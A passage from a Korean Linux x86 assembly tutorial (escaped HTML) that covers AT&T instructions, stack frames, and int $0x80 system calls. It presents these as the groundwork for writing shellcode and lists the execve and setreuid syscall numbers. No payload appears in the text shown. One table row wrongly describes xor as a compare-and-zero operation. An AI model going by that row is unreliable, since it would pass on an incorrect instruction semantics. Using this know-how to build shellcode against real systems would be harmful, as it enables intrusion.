\ub77c\ubca8 <\/STRONG><\/FONT><\/TD>\n\uc624\ud53c\ucf54\ub4dc  <\/STRONG><\/FONT><\/TD>\n\uc81c1\uc624\ud53c\ub79c\ub4dc<\/STRONG><\/FONT><\/TD>\n\uc81c2\uc624\ud53c\ub79c\ub4dc<\/STRONG><\/FONT><\/TD>\n\uc124\uba85\ubb38(\uc8fc\uc11d)<\/FONT><\/STRONG><\/TD><\/TR>\n
main:<\/FONT><\/TD>\nmovl<\/FONT><\/TD>\n%esi, <\/FONT><\/TD>\n%ebp        <\/FONT><\/TD>\n; comment<\/FONT><\/TD><\/TR><\/TBODY><\/TABLE>\n\n



\ub77c\ubca8\uc740 \uc9c1\uc811 \uae30\uacc4\uc5b4\ub85c \ubc88\uc5ed\ub418\uc9c0 \uc54a\uace0 \ubd84\uae30\uba85\ub839(jmp, call)\ub4f1\uc5d0\uc11c \ucc38\uc870\ub418\uc5b4 \uc8fc\uc18c\uc758 \uacc4\uc0b0\uc5d0 \uc0ac\uc6a9\ub41c\ub2e4.
\uc624\ud53c\ucf54\ub4dc\ub294 \uba85\ub839\uc5b4\uc774\uba70 \uc81c1 & 2 \uc624\ud53c\ub79c\ub4dc\ub294 \ud544\uc694\ud55c \uc778\uc218\ub4e4\uc774\ub2e4.. \uc624\ud53c\ub79c\ub4dc\ub294 \uc624\ud53c\ucf54\ub4dc\uc5d0 \ub530\ub77c \ud55c\uac1c
\ud639\uc740 2\uac1c\ub97c \uc0ac\uc6a9\ud560\uc218 \uc788\ub2e4.  \uae30\ubcf8 \uc624\ud53c\ucf54\ub4dc(\uba85\ub839\uc5b4)\uc5d0 \ub300\ud558\uc5ec \uc758\ubbf8\uc640 \uc0ac\uc6a9\ubc95\uc744 \uc54c\uc544\ubcf4\uc790. Linux\uc5d0\uc11c
\ub294 AT&T syntax\uc744 \ub530\ub974\uae30 \ub54c\ubb38\uc5d0 \uc774\uc5d0 \uc900\ud558\uc5ec \uc124\uba85\ud558\uaca0\ub2e4.
<\/P>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\uba85\ub839\uc5b4<\/STRONG><\/FONT><\/TD>\n   <\/SPAN>\uc774\uc6a9 \ubc29\ubc95        <\/SPAN><\/STRONG><\/FONT><\/TD>\n    <\/SPAN>\uba85\ub839\uc5b4\uc758 \uc758\ubbf8          <\/SPAN><\/STRONG><\/FONT><\/TD>\n  <\/SPAN>C\uc5d0\uc11c\uc758 \uc720\uc0ac \ud45c\ud604 <\/SPAN><\/FONT><\/STRONG><\/TD><\/TR>\n
 <\/SPAN>mov  <\/SPAN><\/FONT><\/TD>\n <\/SPAN>movb $0x1,%eax     <\/SPAN><\/FONT><\/TD>\n <\/SPAN>1\uc744 eax\uc5d0 \ub123\uc74c.(1 \ubc14\uc774\ud2b8) <\/SPAN><\/FONT><\/TD>\n <\/SPAN>eax = 0x01         <\/SPAN><\/FONT><\/TD><\/TR>\n
      <\/FONT><\/SPAN><\/TD>\n <\/SPAN>movw $0x1,%eax     <\/SPAN><\/FONT><\/TD>\n <\/SPAN>1\uc744 eax\uc5d0 \ub123\uc74c.(2 \ubc14\uc774\ud2b8) <\/SPAN><\/FONT><\/TD>\n <\/SPAN>eax = 0x0001       <\/SPAN><\/FONT><\/TD><\/TR>\n
      <\/FONT><\/SPAN><\/TD>\n <\/SPAN>movl $0x1,%eax     <\/SPAN><\/FONT><\/TD>\n <\/SPAN>1\uc744 eax\uc5d0 \ub123\uc74c.(4 \ubc14\uc774\ud2b8) <\/SPAN><\/FONT><\/TD>\n <\/SPAN>eax = 0x00000001   <\/SPAN><\/FONT><\/TD><\/TR>\n
 <\/SPAN>add  <\/SPAN><\/FONT><\/TD>\n <\/SPAN>addl $1, %eax      <\/SPAN><\/FONT><\/TD>\n <\/SPAN>eax\uc5d0 1\uc744 \ub354\ud558\ub77c.         <\/SPAN><\/FONT><\/TD>\n <\/SPAN>eax = eax + 1      <\/SPAN><\/FONT><\/TD><\/TR>\n
 <\/SPAN>sub  <\/SPAN><\/FONT><\/TD>\n <\/SPAN>subl $1, %eax      <\/SPAN><\/FONT><\/TD>\n <\/SPAN>eax\uc5d0\uc11c 1\uc744 \ube7c\ub77c.         <\/SPAN><\/FONT><\/TD>\n <\/SPAN>eax = eax - 1      <\/SPAN><\/FONT><\/TD><\/TR>\n
 <\/SPAN>inc  <\/SPAN><\/FONT><\/TD>\n <\/SPAN>incl %eax          <\/SPAN><\/FONT><\/TD>\n <\/SPAN>eax\uc5d0 1\uc744 \uc99d\uac00.           <\/SPAN><\/FONT><\/TD>\n <\/SPAN>eax++              <\/SPAN><\/FONT><\/TD><\/TR>\n
 <\/SPAN>dec  <\/SPAN><\/FONT><\/TD>\n <\/SPAN>decl %eax          <\/SPAN><\/FONT><\/TD>\n <\/SPAN>eax\uc5d0 1\uc744 \uac10\uc18c.           <\/SPAN><\/FONT><\/TD>\n <\/SPAN>eax--              <\/SPAN><\/FONT><\/TD><\/TR>\n
 <\/SPAN>lea  <\/SPAN><\/FONT><\/TD>\n <\/SPAN>leal 0x8(%esi),%eax<\/FONT><\/TD>\n <\/SPAN>eax\uc5d0  <\/SPAN>esi+8\uc8fc\uc18c\ub97c \ub123\uc5b4\ub77c.<\/FONT><\/TD>\n <\/SPAN>eax = esi + 8      <\/SPAN><\/FONT><\/TD><\/TR>\n
 <\/SPAN>xor  <\/SPAN><\/FONT><\/TD>\n <\/SPAN>xor %eax, %eax     <\/SPAN><\/FONT><\/TD>\n <\/SPAN>\ub458\uc744 \ube44\uad50\ud574\uc11c \uac19\uc73c\uba74 0    <\/SPAN><\/FONT><\/TD>\n <\/SPAN>if(a==b) b=0       <\/SPAN><\/FONT><\/TD><\/TR>\n
 <\/SPAN>jmp  <\/SPAN><\/FONT><\/TD>\n <\/SPAN>jmp string         <\/SPAN><\/FONT><\/TD>\n <\/SPAN>0x1f\uc704\uce58\ub85c jump\ud558\ub77c.      <\/SPAN><\/FONT><\/TD>\n <\/SPAN>goto string        <\/SPAN><\/FONT><\/TD><\/TR>\n
 <\/SPAN>call <\/SPAN><\/FONT><\/TD>\n <\/SPAN>call star          <\/SPAN><\/FONT><\/TD>\n <\/SPAN>\uc11c\ube0c\ub8e8\ud2f4\uc744 call \ud568.       <\/SPAN><\/FONT><\/TD>\n <\/SPAN>star()             <\/SPAN><\/FONT><\/TD><\/TR>\n
 <\/SPAN>ret  <\/SPAN><\/FONT><\/TD>\n <\/SPAN>ret                <\/SPAN><\/FONT><\/TD>\n <\/SPAN>\uc11c\ube0c\ub8e8\ud2f4\uc5d0\uc11c \uc6d0\ub798\ub85c \ubcf5\uadc0  <\/SPAN><\/FONT><\/TD>\n <\/SPAN>return             <\/SPAN><\/FONT><\/TD><\/TR>\n
 <\/SPAN>int  <\/SPAN><\/FONT><\/TD>\n <\/SPAN>int $0x80          <\/SPAN><\/FONT><\/TD>\n <\/SPAN>system call \uc704\ud55c \uc778\ud130\ub7fd\ud2b8 <\/SPAN><\/FONT><\/TD>\n <\/SPAN>-                  <\/SPAN><\/FONT><\/TD><\/TR>\n
 <\/SPAN>push <\/SPAN><\/FONT><\/TD>\n <\/SPAN>push %ebp          <\/SPAN><\/FONT><\/TD>\n <\/SPAN>ebp\uac12\uc744 stack\uc5d0 \uc800\uc7a5      <\/SPAN><\/FONT><\/TD>\n <\/SPAN>-                  <\/SPAN><\/FONT><\/TD><\/TR>\n
 <\/SPAN>pop  <\/SPAN><\/FONT><\/TD>\n <\/SPAN>pop %esi           <\/SPAN><\/FONT><\/TD>\n <\/SPAN>stack\uc5d0\uc11c \uaebc\ub0b4 esi\uc5d0 \uc800\uc7a5 <\/SPAN><\/FONT><\/TD>\n <\/SPAN>-                  <\/SPAN><\/FONT><\/TD><\/TR><\/TBODY><\/TABLE>\n\n



\uc774\uc678\uc5d0\ub3c4 \ub9ce\uc740 \uba85\ub839\uc5b4\ub4e4\uc774 \uc788\uc73c\ub098 \uc704\uc758 \uae30\ubcf8\uc801\uc778 \uba85\ub839\uc5b4\ub4e4\ub9cc \ucda9\ubd84\uc774 \uc774\ud574\ud55c\ub2e4\uba74 shellcode\ub97c \ub9cc\ub4dc
\ub294\ub370 \ud070 \ubb38\uc81c\uac00 \uc5c6\uc744 \uac83\uc774\ub2e4. 

<\uc5b4\uc148\ube14\ub9ac \ud504\ub85c\uadf8\ub7a8 \uc774\ud574>
\uc9c0\uae08\uae4c\uc9c0 \uba87\uac1c\uc758 \ub808\uc9c0\uc2a4\ud130\uc758 \uc774\ub984\uacfc \uac04\ub2e8\ud55c \uc5b4\uc0d8\ube14\ub9ac \uba85\ub839\uc5b4\uc5d0 \ub300\ud558\uc5ec \uc54c\uc544\ubcf4\uc558\ub2e4. \uc774\uc81c Linux\uc5d0\uc11c 
\uc0ac\uc6a9\ub418\ub294 \uc5b4\uc148\ube14\ub9ac\uc758 \uad6c\uc870\ub97c \uc54c\uc544\ubcf4\uae30 \uc704\ud558\uc5ec \uac04\ub2e8\ud55c C\uc5b8\uc5b4 \ud504\ub85c\uadf8\ub7a8\uc744 \ub9cc\ub4e4\uc5b4\uc11c \uc5b4\uc148\ube14\ub9ac\uc5b8\uc5b4\ub85c 
\ucef4\ud37c\uc77c \ud574\ubcf4\uc790. \uc6b0\ub9ac\ub294 \ud504\ub85c\uadf8\ub7a8 \ub0b4\uc5d0\uc11c \uc2a4\ud14d\uc5d0 data\uac00 \uc5b4\ub5bb\uac8c \uc313\uc774\uace0 \ucc98\ub9ac\ub418\ub294\uc9c0 esp\uc640 ebp\uc758 
\ubcc0\ud654\ub97c \ud1b5\ud558\uc5ec \uc54c\uc544 \ubcfc\ub824\uace0 \ud55c\ub2e4.

[willy@Null2Root]$ cat test11.c
main()
{
  int a=1;
  printf(\" a is %d \\n\",a);
}

a\ub97c \ubcc0\uc218\ub85c \uc815\uc758\ud55c\ub4a4 a\uc5d0 1\uc744 \ub123\uace0 \ucd9c\ub825\ud558\ub77c\ub294 \uac04\ub2e8\ud55c \ud504\ub85c\uc774\ub2e4.

[willy@Null2Root]$ gcc test11.c -S -o test11.s -mpreferred-stack-boundary=2

\uc5ec\uae30\uc11c -mpreferred-stack-boundary=2 \uc635\uc158\uc744 \uc0ac\uc6a9\ud55c \uc774\uc720\ub294 gcc 2.95\uc774\uc0c1\uc758 \ubc84\uc804\uc5d0\uc11c stack\uc758 \uad6c\uc870\uac00
\uc77c\ubd80 \ubcc0\uacbd\ub418\uc5b4 \uc608\uc804\uc758 stack\uad6c\uc870\ub97c \uc0ac\uc6a9\ud558\uae30 \uc704\ud574\uc11c \ucd94\uac00\ud558\uc600\uc73c\uba70, -S \uc635\uc158\uc740 \uc5b4\uc148\ube14\ub9ac\ub85c \ucef4\ud37c\uc77c\ud558\ub294
\uc635\uc158\uc774\ub2e4.

[willy@Null2Root]$ cat test11.s
        .file   \"test1.c\"
        .version        \"01.01\"
gcc2_compiled.:
                .section        .rodata
.LC0:
        .string \" a is %d \\n\"
.text
        .align 4
.globl main
        .type    main,@function
main:
        pushl   %ebp
        movl    %esp, %ebp
        subl    $4, %esp
        movl    $1, -4(%ebp)
        pushl   -4(%ebp)
        pushl   $.LC0
        call    printf
        addl    $8, %esp
        leave
        ret
.Lfe1:
        .size    main,.Lfe1-main
        .ident  \"GCC: (GNU) 2.96 20000731 (Red Hat Linux 7.0)\"
  
\uc774\uc640\uac19\uc774 \uc870\uae08 \ubcf5\uc7a1\ud55c \uad6c\uc870\ub85c \ub418\uc5c8\uc788\ub2e4. \uc5ec\uae30\uc11c \uc9c1\uc811\uc801\uc73c\ub85c \ud504\ub85c\uadf8\ub7a8\uc2e4\ud589\uacfc \uad00\uacc4\uac00 \uc5c6\ub294 \ubd80\ubd84\ub4e4\uc744 
\uc81c\uac70\ud558\uba74 \uc544\ub798\uc640 \uac19\uc740 \uac04\ub2e8\ud55c \uad6c\uc870\ub85c \ub9cc\ub4e4\uc218 \uc788\ub2e4.

.LC0:
        .string \" a is %d \\n\"
.globl main
main:
        pushl   %ebp
        movl    %esp, %ebp
        subl    $4, %esp
        movl    $1, -4(%ebp)
        pushl   -4(%ebp)
        pushl   $.LC0
        call    printf
        addl    $8, %esp
        leave
        ret

\uc5ec\uae30\uc11c .LC0: \uc640 main:\uc740 \ub77c\ubca8\uc774\uba70 .globl main \ubd80\ubd84\uc740 main\uc744 \ud568\uc218\ub85c \uc815\uc758\ud558\ub294 \ubd80\ubd84\uc774\ub2e4. \uadf8\ub9ac\uace0 
main: \ub0b4\uc5d0\uc11c\uc758 \ud504\ub85c\uadf8\ub7a8\uc744 \ubcf4\uba74 \uc544\ub798\uc640 \uac19\ub2e4.. \ud2b9\ud788 %esp\uc640 %ebp\uc5d0 \ub300\ud558\uc5ec \uc720\uc758\ud574\uc11c \uad00\ucc30\ud574\ubcfc 
\ud544\uc694\uac00 \uc788\ub2e4. \uc5ec\uae30\uc11c \ubcf4\uc5ec\uc8fc\ub294 esp & ebp\uac12\uc740 \uc0c1\ub300\uac12\uc774\ub2e4.

<\/P>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\uba85    <\/SPAN>\ub839<\/STRONG><\/FONT><\/TD>\n%esp<\/STRONG><\/FONT><\/TD>\n%ebp<\/STRONG><\/FONT><\/TD>\n\uc124      <\/SPAN>\uba85<\/FONT><\/STRONG><\/TD><\/TR>\n
pushl   <\/SPAN>%ebp         <\/SPAN><\/FONT><\/TD>\n <\/SPAN>0x00<\/FONT><\/TD>\n <\/SPAN>old <\/SPAN><\/FONT><\/TD>\n <\/SPAN>\uae30\uc874 ebp\uac12\uc744 stack\uc5d0 \uc800\uc7a5\ud568. ret\uc2dc \ud658\uc6d0\uc704\ud568   <\/SPAN><\/FONT><\/TD><\/TR>\n
movl    <\/SPAN>%esp, %ebp   <\/SPAN><\/FONT><\/TD>\n-0x04<\/FONT><\/TD>\n <\/SPAN>old <\/SPAN><\/FONT><\/TD>\n <\/SPAN>\ud604\uc7ac\uc758 esp\ub97c ebp\ub85c \uc124\uc815.(\ud55c \ud568\uc218\ub0b4\uc5d0\uc11c \uc77c\uc815)  <\/SPAN><\/FONT><\/TD><\/TR>\n
subl    <\/SPAN>$4, %esp     <\/SPAN><\/FONT><\/TD>\n-0x04<\/FONT><\/TD>\n <\/SPAN>0x04<\/FONT><\/TD>\n <\/SPAN>\ubcc0\uc218\uac12 \uc800\uc7a5\uc744 \uc704\ud574 stack\uacf5\uac04 \ud655\ubcf4(int 4bytes) <\/SPAN><\/FONT><\/TD><\/TR>\n
movl    <\/SPAN>$1, -4(%ebp) <\/SPAN><\/FONT><\/TD>\n-0x08<\/FONT><\/TD>\n <\/SPAN>0x04<\/FONT><\/TD>\n <\/SPAN>ebp\uae30\uc900 -4\ubc14\uc774\ud2b8 \uc704\uce58\uc5d0 1\uc744 \ub123\uc74c.(a=1)        <\/SPAN><\/FONT><\/TD><\/TR>\n
pushl   <\/SPAN>-4(%ebp)     <\/SPAN><\/FONT><\/TD>\n-0x08<\/FONT><\/TD>\n <\/SPAN>0x04<\/FONT><\/TD>\n <\/SPAN>ebp\uae30\uc900 -4\uc704\uce58\uc758 \uac12\uc744 stack\uc5d0 \ub123\uc74c            <\/SPAN><\/FONT><\/TD><\/TR>\n
pushl   <\/SPAN>$.LC0        <\/SPAN><\/FONT><\/TD>\n-0x0c<\/FONT><\/TD>\n <\/SPAN>0x04<\/FONT><\/TD>\n <\/SPAN>.LC0\uc8fc\uc18c\uac12\uc744 stack\uc5d0 \ub123\uc74c (\" a is %d \\n\")     <\/SPAN><\/FONT><\/TD><\/TR>\n
call    <\/SPAN>printf       <\/SPAN><\/FONT><\/TD>\n-0x10<\/FONT><\/TD>\n <\/SPAN>0x04<\/FONT><\/TD>\n <\/SPAN>printf()\ud568\uc218\ub97c \ubd80\ub984                           <\/SPAN><\/FONT><\/TD><\/TR>\n
addl    <\/SPAN>$8, %esp     <\/SPAN><\/FONT><\/TD>\n-0x10<\/FONT><\/TD>\n <\/SPAN>0x04<\/FONT><\/TD>\n <\/SPAN>esp\ub97c 8\ubc14\uc774\ud2b8 \ub354\ud568 (\ud654\uc6d0\ud568)                   <\/SPAN><\/FONT><\/TD><\/TR>\n
leave                <\/SPAN><\/FONT><\/TD>\n-0x08<\/FONT><\/TD>\n <\/SPAN>0x04<\/FONT><\/TD>\n                                               <\/FONT><\/SPAN><\/TD><\/TR>\n
ret                  <\/SPAN><\/FONT><\/TD>\n-0x00<\/FONT><\/TD>\n <\/SPAN>old <\/SPAN><\/FONT><\/TD>\n <\/SPAN>\ubcf5\uadc0.(return)                                 <\/SPAN><\/FONT><\/TD><\/TR><\/TBODY><\/TABLE>\n\n

 <\/P>\n


\uc5b4\uc148\ube14\ub9ac\uc5d0\uc11c \uac00\uc7a5 \ud63c\ub3c8\ud558\uae30 \uc26c\uc6b4 \ubd80\ubd84\uc774 stack\uc5d0 \uc313\uc774\ub294 data\uc758 \uc704\uce58\uc774\ub2e4. C\uc5b8\uc5b4\uc758 \uacbd\uc6b0\uc5d0 data\uac00
\uc800\uc7a5\ub418\ub294 \uc808\ub300\uac12\uc744 \ud45c\uc2dc\ud558\uae30 \ub54c\ubb38\uc5d0 \uc5b4\ub824\uc6c0\uc774 \uc5c6\uc73c\ub098 \uc5b4\uc148\ube14\ub9ac\uc758 \uacbd\uc6b0\uc5d0\ub294 push, sub, add,ret\ub4f1\uc758 
\uba85\ub839\uc5b4\ub97c \uc808\ub300\uc8fc\uc18c \uc5c6\uc774 \uc218\ud589\ud558\uc5ec\ub3c4 \uc21c\uc11c\uc5d0 \uc758\ud574 stack\uac00\uac10 \ub41c\ub2e4.  esp\ub294 stack\uc5d0\uc11c data\uac00 \uc313\uc5ec
\uc788\ub294 \uc81c\uc77c \ub05d \uc8fc\uc18c\uc744 \ud45c\uc2dc\ud558\ubbc0\ub85c data\uc758 \uc99d\uac10\uc5d0 \ub530\ub77c esp\ub3c4 \uacc4\uc18d \ubcc0\ud558\uac8c \ub41c\ub2e4.  data\uc758 \ucc98\ub9ac\ub294 \ub54c\ub860
\ud2b9\uc815 \uc704\uce58\uc758 \uac12\uc744 \ucc38\uc870\ud558\uac70\ub098 \ubcc0\uacbd\uc2dc\ucf1c\uc57c \ud558\ub294 \uacbd\uc6b0\uac00 \uc788\ub294\ub370 (\uc704\uc5d0\uc11c pushl -4(%ebp) \uac19\uc740 \uacbd\uc6b0) 
\uc774\ub7f4\ub54c \ub9e4 \uc21c\uac04 \ubcc0\ud654\ud558\ub294 esp\ub97c \uae30\uc900\uc73c\ub85c \uc0c1\ub300\uc8fc\uc18c\uac12\uc744 \uc7a1\uae30\uac00 \uc27d\uc9c0 \uc54a\ub2e4. \uadf8\ub7ec\ud55c \uc774\uc720\uc5d0\uc11c \ud55c 
\ud568\uc218(function)\ub0b4\uc5d0\uc11c \uae30\uc900\uc5d0 \ub418\ub294 \ud55c \uc8fc\uc18c\ub97c \uc124\uc815\ud558\ub294\ub370 \uadf8\uac83\uc774 \ubc14\ub85c ebp\uc774\ub2e4. \uc704 \ub3c4\ud45c\ub97c \ubcf4\uba74 \ud568\uc218
(main)\uc5d0 \ub4e4\uc5b4\uc640\uc11c \uccab\ubc88\uc9f8\ub85c \ud558\ub294\uacfc\uc815\uc774 \ubc14\ub85c \uc804\uc5d0 \uac00\uc9c0\uace0 \uc788\ub358 ebp\ub97c \uc800\uc7a5\ud558\uace0 \ucd08\uae30 esp\ub97c ebp\uc800\uc7a5
\ud574\uc11c \ud568\uc218\uac00 \ub05d\ub0a0\ub54c\uae4c\uc9c0 \uc77c\uc815\ud55c \uc8fc\uc18c\uac12\uc744 \uc720\uc9c0\ud558\ub294 \uac83\uc744 \ubcfc\uc218 \uc788\ub2e4. esp\uc640 ebp\ub294 \ud558\ub098\uc758 \ud568\uc218\uac00 
\uc2e4\ud589\ub418\uc5c8\ub2e4\uac00 \ub05d\ub098\ub294 ret \uc2ef\uc810 \uc5d0\uc11c\ub294 \ubaa8\ub450 \ucd08\uae30 \uac12\uc744 \uac16\uac8c \ub41c\ub2e4.
\ud504\ub85c\uadf8\ub7a8\uc758 \ud750\ub984\uc744 \ubcf4\uba74 ebp\ub97c \uc124\uc815\ud55c\ub4a4 a\uc758 \ubcc0\uc218\uac12\uc73c\ub85c 1\uc744 \ub123\uace0, \uadf8 a\uac12\uc744 stack\uc5d0 \uc800\uc7a5(pushl
-4(%ebp))\ud558\uace0 string \" a is %d \\n\"\uc744 stack\uc5d0 \uc800\uc7a5\ud55c \ub4a4 printf()\ud568\uc218\ub97c call\ud55c\ub2e4. \uc774\ub294 \uc6d0\ub798
printf(\" a is %d \\n\",a);\ubcf4\uba74 \ud568\uc218\uc758 \ub9e4\uacc4\uc778\uc218\ub97c \ub4a4\ucabd\ubd80\ud130 stack\uc5d0 \ub123\ub294 \uac83\uc744 \ubcfc\uc218\uc788\ub2e4.

\uc870\uae08\ub354 \uc774\ud574\ub97c \ud558\uae30 \uc704\ud574 \uc5b4\uc0d8\ube14\ub9ac \ud504\ub85c\uadf8\ub7a8(test11.s)\uc744 \uc218\uc815\ud558\uc5ec \uc544\ub798\uc640 \uac19\uc740 C\uc5b8\uc5b4 \ud504\ub85c\uadf8\ub7a8\uc758
\ucd9c\ub825 \uacb0\uacfc\uc640 \uac19\ub3c4\ub85d \ud574 \ubcf4\uc790.. 

--------------- C\uc5b8\uc5b4 ---------------------
  int a=1, b=2;
  printf(\"a=%d, b=%d \\n\",a,b);
-------------------------------------------

- \uba3c\uc800 string\ubd80\ubd84\uc740 \ubc14\uafbc\ub2e4.. \" a is %d \\n\" -> \"a=%d, b=%d \\n\" 
- ebp\ubd80\ubd84\uc740 \ubcc0\uacbd\ud560 \uac83\uc774 \uc5c6\uace0..
- \ubcc0\uc218 \uc815\uc758 \ubd80\ubd84\uc744 \uc218\uc815\ud55c\ub2e4.  int a (4\ubc14\uc774\ud2b8) -> int a, b (8\ubc14\uc774\ud2b8)
                               subl $4, %esp   -> subl $8, %esp
- a\ubcc0\uc218\uc5d0 1\uc744 \ub123\ub294\ub2e4.         movl $1, -4(%ebp)
- b\ubcc0\uc218\uc5d0 2\ub97c \ub123\ub294\ub2e4.         movl $2, -8(%ebp)
- b\uac12\uc744 stack\uc5d0 \ub123\ub294\ub2e4.       pushl   -8(%ebp)
- a\uac12\uc744 stack\uc5d0 \ub123\ub294\ub2e4.       pushl   -4(%ebp)
- string\ub77c\ubca8 \uc8fc\uc18c\ub97c push\ud55c\ub2e4. pushl   $.LC0
- call printf
- esp\uc704\uce58\ub97c \uc218\uc815.             addl  $12, %esp

[willy@Null2Root] cat test12.s
.LC0:
        .string \"a=%d, b=%d \\n\" 
.globl main
main:
        pushl   %ebp          
        movl    %esp, %ebp
        subl    $8, %esp
        movl    $1, -4(%ebp)
        movl    $2, -8(%ebp)
        pushl   -8(%ebp)
        pushl   -4(%ebp)
        pushl   $.LC0
        call    printf
        addl    $12, %esp
        leave
        ret

[willy@Null2Root]gcc test12.s -o test12

[willy@Null2Root]$ .\/test12
a=1, b=2 

\uc9c0\uae08\uae4c\uc9c0 \uac04\ub2e8\ud55c \uc5b4\uc148\ube14\ub9ac \ud504\ub85c\uae00\ub7a8 \ubd84\uc11d\uc744 \ud1b5\ud558\uc5ec \uc2a4\ud14d\uc758 \uad6c\uc870\uc640 esp, ebp\uc758 \ubcc0\ud654\uc640 \uc758\ubbf8\ub97c \uc774\ud574
\ud560\uc218 \uc788\uc5c8\ub2e4. \uc774\uc81c\ubd80\ud130\ub294 system call\ub97c \uc774\uc6a9\ud55c \ucc98\ub9ac\uc5d0 \ub300\ud558\uc5ec \uc54c\uc544\ubcf4\uc790.

<\uc5b4\uc148\ube14\ub9ac\uc5d0\uc11c \uc778\ud130\ub7fd\ud2b8\uc640 system call>
system call\uc774\ub780 \uc2dc\uc2a4\ud15c\uc5d0 \ubbf8\ub9ac \ub9cc\ub4e4\uc5b4 \ub193\uc740 \ub8e8\ud2f4(\ud568\uc218)\ub97c \uc774\uc6a9\ud558\uc5ec \ucc98\ub9ac\ud558\ub294 \uac83\uc744 \ub9d0\ud55c\ub2e4. \ud638\ucd9c\uc740
interrupt\ub97c \uc774\uc6a9\ud558\uba70 Linux\uc5d0\uc11c\ub294 \uc778\ud130\ub7fd\ud2b8 0x80(int $0x80)\uc744 \uc0ac\uc6a9\ud558\ub2e4.  system call\uc744 \ud558\ub294 \ubc29\ubc95
\uc740 \ubbf8\ub9ac \uaddc\uc815\ub41c \ud391\uc158\ubc88\ud638\uc640 \uad00\ub828\ub41c \uc778\uc218\ub4e4\uc744 eax,ebx,ecx,edx.. \uc21c\uc73c\ub85c \ucc44\uc6cc \ub123\uc740\ub4a4 int $0x80\uc744 
\ud568\uc73c\ub85c\uc368 \uac00\ub2a5\ud558\ub2e4. \ud568\uc218\ubc88\ud638\ub294 \ud56d\uc0c1 eax\uc5d0 \uc704\uce58\ud558\uba70 ebx\ubd80\ud130\ub294 \uc801\ub2f9\ud55c \uc778\uc218\ub4e4\uc774 \uc624\uac8c\ub41c\ub2e4. 
Linux\uc5d0\uc11c\ub294 \/usr\/include\/asm\/unistd.h\uc5d0\uc11c system call\uad00\ub828 \ud568\uc218\ubc88\ud638\ub97c \uc815\uc758 \ud55c\ub2e4.  \uba87\uac00\uc9c0 \ubcf4\uba74
\ub2e4\uc74c\uacfc \uac19\ub2e4.
 
#define __NR_exit                 1
#define __NR_write                4
#define __NR_execve              11
#define __NR_setreuid            70
#define __NR_setregid            71

ebx,ecx,edx...\uc5d0 \uc5b4\ub5a4 \uac12\uc774 \ub4e4\uc5b4\uac00\ub294\uc9c0\ub294 \ud568\uc218\ubc88\ud638(eax\uc5d0 \ub4e4\uc5b4\uac00\ub294 \uac12)\uc5d0 \uc758\uc874\ud558\uc5ec \uc124\uc815\ub418\uac8c \ub418\uba70
System Call Table(http:\/\/quaff.port5.com\/syscall_list.html)\uc744 \ucc38\uc870\ud558\uba74 \uc54c\uc218\uc788\ub2e4. \ub2e4\ub978 \ubc29\ubc95\uc73c\ub85c
C\uc5b8\uc5b4\ub85c \ud504\ub85c\uadf8\ub7a8\uc744 \ub9cc\ub4e0\ub4a4 gdb\uc5d0\uc11c disassemble\uc744 \ud1b5\ud558\uc5ec \uc54c\uc218 \uc788\ub2e4. 

\uc774\uc81c system call\uc774\ub77c\ub294 \uac83\uc744 \uc774\ud574\ud558\uae30 \uc704\ud558\uc5ec \ub2e4\ub978 \uc608\uc81c\ub97c \ub9cc\ub4e4\uc5b4 \ubcf4\uc790. \uc544\ub798\ub294  \"I'm Willy in 
Null@Root\"\ub97c \ucd9c\ub825\ud558\ub294 \uac04\ub2e8\ud55c C\uc5b8\uc5b4 \ud504\ub85c\uadf8\ub7a8\uc774\ub2e4. 

[willy@Null@Root]$ cat test21.c
main()
{
   write(1,\"I'm Willy in Null@Root\\n\",23);
}

[willy@Null@Root]$ gcc test21.c -o test21 -mpreferred-stack-boundary=2 -static
\uc5ec\uae30\uc11c -static \uc635\uc158\uc744 \uc4f4 \uc774\uc720\ub294 \uc778\ud130\ub7fd\ud2b8 \ubd80\ubd84\uc744 \ubcf4\uae30 \uc704\ud574\uc11c\uc774\ub2e4.

[willy@Null@Root]$ .\/test21
I'm Willy in Null@Root

[willy@Null@Root]$ gdb -q test21
(gdb) disassemble main
Dump of assembler code for function main:
0x80481dc <main>:       push   %ebp
0x80481dd <main+1>:     mov    %esp,%ebp
0x80481df <main+3>:     push   $0x17
0x80481e1 <main+5>:     push   $0x808b1c8
0x80481e6 <main+10>:    push   $0x1
0x80481e8 <main+12>:    call   0x804c390 <__libc_write>
0x80481ed <main+17>:    add    $0xc,%esp
0x80481f0 <main+20>:    leave  
0x80481f1 <main+21>:    ret    
0x80481f2 <main+22>:    nop    
0x80481f3 <main+23>:    nop    
End of assembler dump.
(gdb) disassemble __libc_write
Dump of assembler code for function __libc_write:
0x804c390 <__libc_write>:       push   %ebx
0x804c391 <__libc_write+1>:     mov    0x10(%esp,1),%edx
0x804c395 <__libc_write+5>:     mov    0xc(%esp,1),%ecx
0x804c399 <__libc_write+9>:     mov    0x8(%esp,1),%ebx
0x804c39d <__libc_write+13>:    mov    $0x4,%eax
0x804c3a2 <__libc_write+18>:    int    $0x80
0x804c3a4 <__libc_write+20>:    pop    %ebx
0x804c3a5 <__libc_write+21>:    cmp    $0xfffff001,%eax
0x804c3aa <__libc_write+26>:    jae    0x804cab0 <__syscall_error>
0x804c3b0 <__libc_write+32>:    ret    
End of assembler dump.

disassemble main\uc744 \ubcf4\uba74 ebp\ub97c \uc124\uc815\ud558\uace0, 0x17(string\ud06c\uae30), string address, 1(std_out)\uc744 stack
\uc73c\ub85c \ub123\uc740 \ub4a4 call\uc744 \ud558\ub294 \uac83\uc744 \ubcfc\uc218 \uc788\ub2e4. \uc774\ub294 \uc704\uc5d0\uc11c \uc124\uba85\ud588\ub358 \uac83\ucc98\ub7fc \ud568\uc218\ub97c call\ud558\uae30 \uc804\uc5d0
\uc778\uc218\ub4e4\uc744 \ub9e8 \ub4b7\uac70 \ubd80\ud130 stack\uc5d0 \ub123\ub294 \uac83\uc744 \uc54c\uc218 \uc788\ub2e4. disassemble __libc_write\ub97c \ubcf4\uba74 \uc21c\uc11c\uac00 
\ub2e4\ub974\ub354\ub77c\ub3c4 eax, ebx, ecx, edx\uc5d0 data\uac00 \ub4e4\uc5b4\uac04\ub4a4 int $0x80\uc73c\ub85c system call\uc744 \ud558\ub294\uac83\uc744 \uc54c\uc218 
